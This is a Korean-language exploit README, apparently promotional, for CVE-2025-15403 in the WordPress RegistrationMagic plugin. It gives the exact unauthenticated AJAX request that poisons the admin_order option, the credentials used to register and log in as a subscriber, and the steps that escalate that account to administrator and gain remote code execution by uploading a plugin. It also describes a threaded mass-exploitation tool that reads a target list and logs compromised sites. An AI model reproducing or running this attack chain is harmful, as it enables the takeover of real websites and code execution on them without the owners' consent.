
RegistrationMagic <= 6.0.7.1 - admin_order를 통한 인증되지 않은 권한 상승
RegistrationMagic <= 6.0.7.1 - 인증되지 않은 권한 상승 via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 정보가 가장 먼저 떨어지는 곳입니다. Telegram에서 **@KNxploited**를 팔로우하세요 — 정밀한 CVE 공개, 작동하는 익스플로잇, 심층 취약점 연구. 뉴스를 기다리지 않고 만드는 사람들을 위한 채널입니다.
CVE-2025-15403는 WordPress용 RegistrationMagic 플러그인의 CVSS 9.8 Critical 권한 상승 취약점입니다.
이 결함은 플러그인의 add_menu 함수에 존재하며, rm_user_exists AJAX 액션을 통해 인증 없이 접근할 수 있습니다. enable_admin_order=yes 플래그와 함께 order 매개변수에 빈 슬러그를 주입함으로써 공격자는 플러그인의 내부 메뉴 생성 로직을 조작합니다. 이후 관리자 메뉴가 빌드될 때, 플러그인은 대상 역할에 대해 add_cap('manage_options')를 무음으로 호출하여 모든 구독자 수준 계정을 완전한 관리자 권한으로 상승시킵니다.
| 필드 | 상세 |
|---|---|
| CVE ID | CVE-2025-15403 |
| 플러그인 | RegistrationMagic |
| 슬러그 | registrationmagic / custom-registration-form-builder-with-submission-manager |
| 영향 받는 버전 | 6.0.7.1까지의 모든 버전 |
| 취약점 유형 | 인증되지 않은 권한 상승 |
| 공격 요구사항 | AJAX 단계: 없음. 악용: 구독자 계정 |
| 공격 벡터 | 네트워크 |
| CVSS 3.1 점수 | 9.8 CRITICAL |
| CVSS 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 영향 | 전체 WordPress 관리자 권한 탈취 |
| 연구자 | Nxploited |
근본 원인은 add_menu 함수가 rm_user_exists를 통해 인증 없이 접근 가능하고, admin_order 슬러그의 유효성 검사가 전혀 없다는 점입니다:
// 권한 확인 없이 등록됨
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← 사용자 제어, 검증되지 않음
$role_key = /* POST에서 파생 */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// 공격자가 제어한 order를 플러그인 옵션에 저장
update_option('rm_admin_order', $order); // 예: ",menu1" → 첫 번째 슬러그가 비어 있음
}
}
// 나중에 관리자 메뉴가 빌드될 때...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← 공격자에 의해 오염됨
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// 빈 슬러그는 무조건 권한 부여를 트리거함
$role->add_cap('manage_options'); // ← 전체 관리자 권한 추가
}
}
}
이것이 중요한 이유:
wp_ajax_nopriv_* = 옵션을 오염시키는 데 인증이 전혀 필요 없음order=,menu1의 빈 슬러그는 empty() 검사를 통과하여 add_cap('manage_options')를 트리거함manage_options는 가장 높은 WordPress 권한 — 관리자와 동일╔══════════════════════════════════════════════════════════════════════════╗
║ 1단계 — 인증되지 않은 옵션 오염 ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← 첫 번째 요소가 비어 있음 = 빈 슬러그
_Subscriber = 1 ← 대상 역할 키
restore = false
enable_admin_order= yes
응답: HTTP 200 (차단되지 않은 모든 응답 = 옵션 오염됨)
↓ 플러그인이 order=",menu1"을 wp_options에 저장함
↓ 다음 관리자 메뉴 빌드 시 Subscriber 역할에 add_cap('manage_options')가 트리거됨
╔══════════════════════════════════════════════════════════════════════════╗
║ 2단계 — 계정 획득 (구독자) ║
╚══════════════════════════════════════════════════════════════════════════╝
옵션 A — 사이트의 등록 양식을 통해 등록 (모드 0):
GET /wp-login.php?action=register → 스마트 폼 감지
POST → 구독자 계정 생성
자격 증명: NXploited / xplpass123
옵션 B — 기존 구독자 계정 사용.
╔══════════════════════════════════════════════════════════════════════════╗
║ 3단계 — 로그인 + 권한 수확 ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
구독자 계정이 이제 manage_options를 보유함 → 전체 관리자 패널에 접근 가능
╔══════════════════════════════════════════════════════════════════════════╗
║ 4단계 — 심층 확인 및 플러그인 업로드를 통한 RCE ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → 관리자 대시보드 접근 가능 ✔️
GET /wp-admin/plugin-install.php → 플러그인 설치 페이지 접근 가능 ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → 플러그인 업로드 및 실행 ✔️
GET /wp-content/plugins/Nxploited/hello.php
응답에 "Nxploited" 포함됨 → RCE 확인됨 ✔️
이 익스플로잇 스위트는 전체 공격 수명 주기를 포괄하는 세 가지 distinct 모드를 제공합니다:
| 모드 | 이름 | 설명 |
|---|---|---|
0 | 등록 전용 | 스마트 WordPress 폼 감지 + 구독자 계정 등록 |
1 | 익스플로잇 전용 | 인증되지 않은 AJAX 프리미티브를 발사하여 admin_order 오염 |
2 | 익스플로잇 + 로그인 + 확인 | 전체 체인: 프리미티브 → 로그인 → 관리자 대시보드 → 플러그인 설치 → RCE |
pip install requests colorama urllib3
| 종속성 | 목적 |
|---|---|
requests | HTTP 세션, 쿠키 처리, 리디렉션 추적 |
colorama | 크로스 플랫폼 컬러 터미널 출력 |
urllib3 | 자체 서명 인증서에 대한 SSL 경고 억제 |
concurrent.futures | 높은 처리량 다중 대상 스캔을 위한 스레드 풀 |
zipfile | RCE 확인을 위한 메모리 내 테스트 플러그인 ZIP 생성 |
html.parser | 스마트 등록 폼 감지 및 필드 추출 |
Python 3.8+ 필요. Python 3.10+ 권장 (
X | Y유니온 타입 힌트 사용).
CVE-2025-15403/
├── CVE-2025-15403.py # 메인 익스플로잇 스위트
├── list.txt # 대상 URL — 한 줄에 하나
│
├── rm_register_results.txt # 모드 0: 성공한 등록
├── rm_exploit_results.txt # 모드 1 & 2: 프리미티브 발사 로그
├── rm_admin_verify.txt # 모드 2: 로그인 + 관리자 확인 로그
├── rm_plugin_uploads.txt # 모드 2: 플러그인 업로드 시도 로그
│
├── rm_admin_dashboard_success.txt # ✔ 관리자 대시보드가 확인된 사이트
├── rm_plugin_install_access.txt # ✔ 플러그인 설치 페이지에 접근 가능한 사이트
└── rm_plugin_rce_success.txt # ✔ 플러그인 업로드를 통한 RCE가 확인된 사이트
맨 아래의 세
_success파일은 점진적 손상 수준을 나타냅니다 — 각 파일은 조건이 확인되는 즉시 독립적으로 기록됩니다.
list.txt를 생성하고 한 줄에 하나의 URL 또는 호스트 이름을 입력하세요:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com